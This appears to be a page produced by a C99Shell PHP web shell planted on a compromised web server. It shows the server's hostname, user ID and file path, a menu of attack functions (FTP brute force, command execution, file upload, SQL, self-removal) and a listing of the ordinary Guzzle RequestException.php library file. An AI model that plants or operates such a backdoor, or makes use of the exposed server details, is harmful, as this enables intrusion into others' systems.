!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/guzzlehttp/guzzle/src/Exception/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RequestException.php (4.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace GuzzleHttp\Exception;

use 
GuzzleHttp\BodySummarizer;
use 
GuzzleHttp\BodySummarizerInterface;
use 
Psr\Http\Client\RequestExceptionInterface;
use 
Psr\Http\Message\RequestInterface;
use 
Psr\Http\Message\ResponseInterface;
use 
Psr\Http\Message\UriInterface;

/**
 * HTTP Request exception
 */
class RequestException extends TransferException implements RequestExceptionInterface
{
    
/**
     * @var RequestInterface
     */
    
private $request;

    
/**
     * @var ResponseInterface|null
     */
    
private $response;

    
/**
     * @var array
     */
    
private $handlerContext;

    public function 
__construct(
        
string $message,
        
RequestInterface $request,
        
ResponseInterface $response null,
        
\Throwable $previous null,
        array 
$handlerContext = []
    ) {
        
// Set the code of the exception if the response is set and not future.
        
$code $response $response->getStatusCode() : 0;
        
parent::__construct($message$code$previous);
        
$this->request $request;
        
$this->response $response;
        
$this->handlerContext $handlerContext;
    }

    
/**
     * Wrap non-RequestExceptions with a RequestException
     */
    
public static function wrapException(RequestInterface $request\Throwable $e): RequestException
    
{
        return 
$e instanceof RequestException $e : new RequestException($e->getMessage(), $requestnull$e);
    }

    
/**
     * Factory method to create a new exception with a normalized error message
     *
     * @param RequestInterface             $request        Request sent
     * @param ResponseInterface            $response       Response received
     * @param \Throwable|null              $previous       Previous exception
     * @param array                        $handlerContext Optional handler context
     * @param BodySummarizerInterface|null $bodySummarizer Optional body summarizer
     */
    
public static function create(
        
RequestInterface $request,
        
ResponseInterface $response null,
        
\Throwable $previous null,
        array 
$handlerContext = [],
        
BodySummarizerInterface $bodySummarizer null
    
): self {
        if (!
$response) {
            return new 
self(
                
'Error completing request',
                
$request,
                
null,
                
$previous,
                
$handlerContext
            
);
        }

        
$level = (int) \floor($response->getStatusCode() / 100);
        if (
$level === 4) {
            
$label 'Client error';
            
$className ClientException::class;
        } elseif (
$level === 5) {
            
$label 'Server error';
            
$className ServerException::class;
        } else {
            
$label 'Unsuccessful request';
            
$className __CLASS__;
        }

        
$uri $request->getUri();
        
$uri = static::obfuscateUri($uri);

        
// Client Error: `GET /` resulted in a `404 Not Found` response:
        // <html> ... (truncated)
        
$message \sprintf(
            
'%s: `%s %s` resulted in a `%s %s` response',
            
$label,
            
$request->getMethod(),
            
$uri->__toString(),
            
$response->getStatusCode(),
            
$response->getReasonPhrase()
        );

        
$summary = ($bodySummarizer ?? new BodySummarizer())->summarize($response);

        if (
$summary !== null) {
            
$message .= ":\n{$summary}\n";
        }

        return new 
$className($message$request$response$previous$handlerContext);
    }

    
/**
     * Obfuscates URI if there is a username and a password present
     */
    
private static function obfuscateUri(UriInterface $uri): UriInterface
    
{
        
$userInfo $uri->getUserInfo();

        if (
false !== ($pos \strpos($userInfo':'))) {
            return 
$uri->withUserInfo(\substr($userInfo0$pos), '***');
        }

        return 
$uri;
    }

    
/**
     * Get the request that caused the exception
     */
    
public function getRequest(): RequestInterface
    
{
        return 
$this->request;
    }

    
/**
     * Get the associated response
     */
    
public function getResponse(): ?ResponseInterface
    
{
        return 
$this->response;
    }

    
/**
     * Check if a response was received
     */
    
public function hasResponse(): bool
    
{
        return 
$this->response !== null;
    }

    
/**
     * Get contextual information about the error from the underlying handler.
     *
     * The contents of this array will vary depending on which handler you are
     * using. It may also be just an empty array. Relying on this data will
     * couple you to a specific handler, but can give more debug information
     * when needed.
     */
    
public function getHandlerContext(): array
    {
        return 
$this->handlerContext;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0074 ]--